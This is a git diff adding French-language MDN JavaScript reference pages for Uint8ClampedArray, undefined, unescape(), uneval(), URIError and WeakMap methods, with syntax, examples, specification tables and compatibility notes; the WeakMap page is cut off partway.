{{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint8ClampedArray. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Uint8ClampedArray.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Uint8ClampedArray.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Uint8ClampedArray.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Uint8ClampedArray.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Uint8ClampedArray.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Uint8ClampedArray.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Uint8ClampedArray.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Uint8ClampedArray.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Uint8ClampedArray.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Uint8ClampedArray.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Uint8ClampedArray.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Uint8ClampedArray.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Uint8ClampedArray.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Uint8ClampedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Uint8ClampedArray.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Uint8ClampedArray.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Uint8ClampedArray.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Uint8ClampedArray.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Uint8ClampedArray.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Uint8ClampedArray.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Uint8ClampedArray.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Uint8ClampedArray.prototype.subarray()")}}
+
Renvoie un nouvel objet Uint8ClampedArray qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Uint8ClampedArray.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Uint8ClampedArray.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Uint8ClampedArray.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Uint8ClampedArray.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façon de créer un objet Uint8ClampedArray :

+ +
// Construction à partir d'une longueur
+var uintc8 = new Uint8ClampedArray(2);
+uintc8[0] = 42;
+uintc8[1] = 1337;
+console.log(uintc8[0]); // 42
+console.log(uintc8[1]); // 255 (valeur ramenée à 255)
+console.log(uintc8.length); // 2
+console.log(uintc8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Uint8ClampedArray([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Uint8ClampedArray([21, 31]);
+var y = new Uint8ClampedArray(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8ClampedArray(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uintc8 = new Uint8ClampedArray(iterable);
+// Uint8ClampedArray[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint8ClampedArray afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Uint8ClampedArray")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Uint8ClampedArray doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler Uint8ClampedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Uint8ClampedArray([1, 2, 3]);
+// TypeError: calling a builtin Uint8ClampedArray constructor
+// without new is forbidden
+ +
var dv = new Uint8ClampedArray([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/undefined/index.html b/files/fr/web/javascript/reference/global_objects/undefined/index.html new file mode 100644 index 0000000000..0e9e0a1cdc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/undefined/index.html @@ -0,0 +1,137 @@ +--- +title: undefined +slug: Web/JavaScript/Reference/Objets_globaux/undefined +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/undefined +--- +
{{jsSidebar("Objects")}}
+ +

La propriété globale undefined représente la valeur undefined. Cette valeur est l'un des types primitifs de JavaScript.

+ +

{{js_property_attributes(0,0,0)}}

+ +
{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}
+ + + +

Syntaxe

+ +
undefined
+ +

Description

+ +

undefined est une propriété de l'objet global, c'est-à-dire qu'elle est accessible globalement. La valeur initiale d'undefined est la valeur primitive undefined.

+ +

Dans les navigateurs modernes, d'après la spécification ECMAScript 5, undefined est une propriété non-configurable et non accessible en écriture. Si, toutefois, elle peut être modifiée dans l'environnement utilisé, il faut éviter de l'écraser.

+ +

Une variable pour laquelle aucune valeur n'a été assignée sera de type undefined. Une méthode ou instruction renvoie également undefined si la variable à évaluer n'a pas de valeur assignée. Une fonction renvoie undefined si aucune valeur n'a été {{jsxref("Instructions/return", "retournée","",1)}}.

+ +
+

À ne pas faire ! Puisque undefined n'est pas un mot réservé du langage JavaScript, il peut être utilisé comme identifiant (nom de variable) dans toute portée autre que la portée globale. Ceci est une très mauvaise idée pour la lisibilité du code et sa maintenabilité.

+ +
// À NE PAS FAIRE
+
+// écrit "toto string" dans la console
+(function() { var undefined = 'toto'; console.log(undefined, typeof undefined); })();
+
+// écrit "toto string" dans la console
+(function(undefined) { console.log(undefined, typeof undefined); })('toto');
+
+
+ +

Exemples

+ +

L'égalité stricte et undefined

+ +

Il est possible d'utiliser undefined et les opérateurs stricts pour l''égalité et l'inégalité strictes afin de déterminer si une variable a une valeur affectée. Dans le code qui suit, la variable x n'est pas initialisée et la première instruction if sera évaluée à true (vrai).

+ +
var x;
+if (x === undefined) {
+   // ces instructions seront exécutées
+}
+if (x !== undefined) {
+   // ces instructions ne seront pas exécutées
+}
+
+ +
+

Note : L'opérateur d'égalité stricte doit être utilisé ici plutôt que l'opérateur d'égalité simple. En effet, x == undefined vérifie également si x vaut null, tandis que l'égalité stricte ne le fait pas. null n'est pas équivalent à undefined. Voir la page sur les {{jsxref("Opérateurs/Opérateurs_de_comparaison","opérateurs de comparaison","",1)}} pour plus de détails.

+
+ +

L'opérateur typeof et undefined

+ +

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} peut également être utilisé :

+ +
var x;
+if (typeof x == 'undefined') {
+   // ces instructions seront exécutées
+}
+
+ +

Une des raisons pour utiliser {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} est qu'il ne renverra pas d'erreur si la variable n'a pas été définie :

+ +
// x n'a pas encore été défini
+if (typeof x === 'undefined') { // donnera true sans erreur
+   // ces instructions seront exécutées
+}
+
+if (x === undefined) { // déclenche une ReferenceError
+
+}
+
+ +

L'opérateur void et undefined

+ +

L'opérateur {{jsxref("Opérateurs/L_opérateur_void", "void")}} est une troisième solution.

+ +
var x;
+if (x === void 0) {
+   // ces instructions seront exécutées
+}
+
+// y n'a pas été défini avant
+if (y === void 0) {
+   // déclenche une ReferenceError: y is not defined
+   // (contrairement à `typeof`)
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1', '#sec-4.3.9', 'undefined')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-undefined', 'undefined')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.undefined")}}

diff --git a/files/fr/web/javascript/reference/global_objects/unescape/index.html b/files/fr/web/javascript/reference/global_objects/unescape/index.html new file mode 100644 index 0000000000..4d2adcae0d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/unescape/index.html @@ -0,0 +1,91 @@ +--- +title: unescape() +slug: Web/JavaScript/Reference/Objets_globaux/unescape +tags: + - Déprécié + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/unescape +--- +
{{jsSidebar("Objects")}}
+ +
Attention ! Bien que unescape(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui commence par : + +
… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …
+… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …
+
+ +

La fonction dépréciée unescape() calcule une nouvelle chaîne de caractères et remplace les séquences d'échappement hexadécimales par les caractères qu'elles représentent. Les séquences d'échappement peuvent provenir de la fonction {{jsxref("escape")}}. Cette méthode est obsolète, c'est pourquoi il est conseillé d'utiliser {{jsxref("decodeURI")}} ou {{jsxref("decodeURIComponent")}} à la place.

+ +
Note : unescape() ne doit pas être utilisée pour décoder les URI. À la place, utilisez decodeURI.
+ +

Syntaxe

+ +
unescape(str)
+ +

Paramètres

+ +
+
str
+
La chaîne de caractères à décoder.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères dont les caractères ont été décodés.

+ +

Description

+ +

La fonction unescape est une propriété de l'objet global.

+ +

Exemples

+ +
unescape("abc123");     // "abc123"
+unescape("%E4%F6%FC");  // "äöü"
+unescape("%u0107");     // "ć"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-unescape-string', 'unescape')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}{{Spec2('ES6')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}{{Spec2('ES5.1')}}Définie dans l'annexe B (informative) sur la compatibilité.
{{SpecName('ES1', '#sec-15.1.2.5', 'unescape')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.unescape")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("decodeURI")}}
    • +
  • {{jsxref("decodeURIComponent")}}
    • +
  • {{jsxref("escape")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/uneval/index.html b/files/fr/web/javascript/reference/global_objects/uneval/index.html new file mode 100644 index 0000000000..fabc5b0cf1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/uneval/index.html @@ -0,0 +1,69 @@ +--- +title: uneval() +slug: Web/JavaScript/Reference/Objets_globaux/uneval +tags: + - Fonction + - JavaScript + - Non-standard + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/uneval +--- +
{{jsSidebar("Objects")}}{{Non-standard_header}}
+ +

La fonction uneval() renvoie une chaîne de caractères représentant le code source d'un objet.

+ +

Syntaxe

+ +
uneval(objet)
+ +

Paramètres

+ +
+
objet
+
Une instruction ou une expression JavaScript.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source de l'objet indiqué.

+ +
Note : Le résultat obtenu ne sera pas une représentation JSON valide de l'objet.
+ +

Description

+ +

uneval() est une fonction disponible au plus haut niveau et n'est rattachée à aucun objet.

+ +

Exemples

+ +
var a = 1;
+uneval(a); // renvoie une chaîne qui contient 1
+
+var b = "1";
+uneval(b) // renvoie une chaîne qui contient "1"
+
+uneval(function toto(){}); // renvoie "(function toto(){})"
+
+
+var a = uneval(function toto(){return 'salut'});
+var toto = eval(a);
+toto(); // renvoie "salut"
+
+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.uneval")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • +
  • {{jsxref("JSON.stringify()")}}
    • +
  • {{jsxref("JSON.parse()")}}
    • +
  • {{jsxref("Object.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/urierror/index.html b/files/fr/web/javascript/reference/global_objects/urierror/index.html new file mode 100644 index 0000000000..7142b5dbe4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/urierror/index.html @@ -0,0 +1,137 @@ +--- +title: URIError +slug: Web/JavaScript/Reference/Objets_globaux/URIError +tags: + - Error + - JavaScript + - Object + - Reference + - URIError +translation_of: Web/JavaScript/Reference/Global_Objects/URIError +--- +
{{JSRef}}
+ +

L'objet URIError représente une erreur renvoyée lorsqu'une fonction de manipulation d'URI a été utilisée de façon inappropriée.

+ +

Syntaxe

+ +
new URIError([message[, nomFichier[, numéroLigne]]])
+ +

Paramètres

+ +
+
message
+
Ce paramètre est optionnel. Il correspond à un chaîne de caractères décrivant l'erreur de façon compréhensible.
+
nomFichier {{non-standard_inline}}
+
Ce paramètre est optionnel. Il correspond au nom du fichier contenant le code à l'origine de l'exception.
+
numéroLigne {{non-standard_inline}}
+
Ce paramètre est optionnel. Il correspond au numéro de la ligne dans le fichier contenant le code qui a entraîné l'exception.
+
+ +

Description

+ +

Une exception URIError est lancée lorsque les fonctions de gestion d'URI reçoivent une URI mal formée.

+ +

Propriétés

+ +
+
{{jsxref("URIError.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à un objet URIError.
+
+ +

Méthodes

+ +

L'objet global URIError ne contient aucune méthode qui lui soit directement attachée. Cependant, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

+ +

Instances d'URIError

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Propriétés')}}
+ +

Méthodes

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Méthodes')}}
+ +

Exemples

+ +

Intercepter une exception URIError

+ +
try {
+  decodeURIComponent('%');
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "malformed URI sequence"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "Scratchpad/1"
+  console.log(e.lineNumber);          // 2
+  console.log(e.columnNumber);        // 2
+  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
+}
+
+ +

Créer une exception URIError

+ +
try {
+  throw new URIError('Coucou', 'monFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "Coucou"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "monFichier.js"
+  console.log(e.lineNumber);          // 10
+  console.log(e.columnNumber);        // 0
+  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.6.6', 'URIError')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.URIError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("URIError.prototype")}}
    • +
  • {{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}
    • +
  • {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}
    • +
  • {{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}
    • +
  • {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/clear/index.html new file mode 100644 index 0000000000..408fd7a539 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/clear/index.html @@ -0,0 +1,52 @@ +--- +title: WeakMap.prototype.clear() +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/clear +tags: + - JavaScript + - Méthode + - Obsolete + - Prototype + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/clear +--- +
{{JSRef}} {{obsolete_header}}
+ +

La méthode clear() permettait de retirer tous les éléments d'un objet WeakMap mais celle-ci ne fait plus partie d'ECMAScript.

+ +

Syntaxe

+ +
wm.clear();
+ +

Exemples

+ +
var wm = new WeakMap();
+var obj = {};
+
+wm.set(obj, "toto");
+wm.set(window, "truc");
+
+wm.has(obj); // true
+wm.has(window); // true
+
+wm.clear();
+
+wm.has(obj);  // false
+wm.has(window);  // false
+
+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode a fait partie du brouillon ECMAScript 6 jusqu'à la révision 28 (version du 14 octobre 2014) mais a été retiré par la suite. Cette méthode ne fait pas partie du standard final.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.clear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakMap")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.html new file mode 100644 index 0000000000..56f16a93e9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.html @@ -0,0 +1,78 @@ +--- +title: WeakMap.prototype.delete() +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/delete +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete +--- +
{{JSRef}}
+ +

La méthode delete() retire un élément donné de l'objet {{jsxref("WeakMap")}}.

+ +
{{EmbedInteractiveExample("pages/js/weakmap-prototype-delete.html")}}
+ + + +

Syntaxe

+ +
wm.delete(clé);
+ +

Paramètre

+ +
+
clé
+
Il correspond à la clé de l'élément qu'on souhaite retirer de l'objet WeakMap.
+
+ +

Valeur de retour

+ +

true si un élément de l'objet WeakMap a bien été retiré, false si la clé n'a pas été trouvée ou si la clé n'est pas un objet.

+ +

Exemples

+ +
var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.delete(window); // Renvoie true. La suppression a bien eu lieu.
+
+wm.has(window);    // Renvoie false. L'objet window n'est plus dans la WeakMap.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.delete")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakMap")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/get/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/get/index.html new file mode 100644 index 0000000000..88e13f92f3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/get/index.html @@ -0,0 +1,79 @@ +--- +title: WeakMap.prototype.get() +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/get +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/get +--- +
{{JSRef}}
+ +

La méthode get() permet de renvoyer un élément donné d'un objet WeakMap.

+ +
{{EmbedInteractiveExample("pages/js/weakmap-prototype-get.html")}}
+ + + +

Syntaxe

+ +
wm.get(clé);
+ +

Paramètre

+ +
+
clé
+
Ce paramètre est obligatoire. Il correspond à la clé de l'élément qu'on souhaite récupérer depuis l'objet WeakMap.
+
+ +

Valeur de retour

+ +

L'élément associé à la clé donnée ou undefined si la clé ne peut pas être trouvée dans l'objet WeakMap.

+ +

Exemples

+ +
var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.get(window); // Renvoie "toto"
+wm.get("machin");  // Renvoie undefined.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.get")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakMap")}}
    • +
  • {{jsxref("WeakMap.set()")}}
    • +
  • {{jsxref("WeakMap.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/has/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/has/index.html new file mode 100644 index 0000000000..6499d58bb7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/has/index.html @@ -0,0 +1,79 @@ +--- +title: WeakMap.prototype.has() +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/has +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/has +--- +
{{JSRef}}
+ +

La méthode has() renvoie un booléen qui indique s'il existe (ou non) un élément avec une clé donnée au sein de l'objet WeakMap.

+ +
{{EmbedInteractiveExample("pages/js/weakmap-prototype-has.html")}}
+ + + +

Syntaxe

+ +
wm.has(clé);
+ +

Paramètre

+ +
+
clé
+
Ce paramètre est obligatoire. Il correspond à la clé de l'élément dont on souhaite savoir s'il est présent dans l'objet WeakMap.
+
+ +

Valeur de retour

+ +

La méthode renvoie true s'il existe un élément du WeakMap avec la clé donné, false sinon.

+ +

Exemples

+ +
var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.has(window); // renvoie true
+wm.has("machin");  // renvoie false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.has")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakMap")}}
    • +
  • {{jsxref("WeakMap.prototype.set()")}}
    • +
  • {{jsxref("WeakMap.prototype.get()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/index.html new file mode 100644 index 0000000000..27589afd41 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/index.html @@ -0,0 +1,163 @@ +--- +title: WeakMap +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap +--- +
{{JSRef}}
+ +

L'objet WeakMap représente une collection de paires clé-valeur dont les clés sont des objets et pour lesquelles les références sont « faibles » et les valeurs des valeurs quelconques.

+ +
+

Note : vous pouvez en savoir plus sur les WeakMap en lisant l'article sur les collections à clé.

+
+ +

Syntaxe

+ +
new WeakMap([itérable])
+
+ +

Paramètres

+ +
+
itérable
+
Paramètre optionnel. Un tableau (objet Array) ou tout autre objet itérable dont les éléments sont des paires composées d'une clé et d'une valeur (des tableaux de 2 éléments). Chaque paire sera ajoutée à la carte (map en anglais). {{jsxref("null")}} sera traité comme {{jsxref("undefined")}}.
+
+ +

Description

+ +

Les clés des objets WeakMap sont nécessairement du type Object. {{Glossary("Primitive", "Des types de données primitifs")}} ne sont pas autorisés pour les clés (ex : un {{jsxref("Symbol")}} ne peut pas être une clé dans un WeakMap).

+ +

Les clés d'une WeakMap sont référencées faiblement. Cela signifie que s'il n'existe aucune autre référence « forte » vers la clé, l'élément (la clé et la valeur) sera retiré de la WeakMap par le ramasse-miettes.

+ +

Pourquoi WeakMap ?

+ +

Avec un certain recul, on peut voir que cette API aurait pu être implémentée en JavaScript grâce à deux tableaux (un tableau pour stocker les clés, l'autre pour les valeurs) associées à 4 méthodes.

+ +

Une telle implémentation présente deux inconvénients principaux. Le premier est que la recherche serait effectué en O(n) (avec n le nombre de clés). Le second inconvénient concerne les fuites mémoires. Si la carte (map) est construite manuellement, le tableau contenant les clés serait obligé de garder les références vers les objets que sont les clés, ce qui les empêcheraient d'être nettoyés par le ramasse-miette. Grâce aux objets natifs WeakMap, les références vers les clés sont faibles (weak) ce qui permet au ramasse miette de nettoyer l'objet au cas où il n'y aurait pas d'autres références vers cet objet.

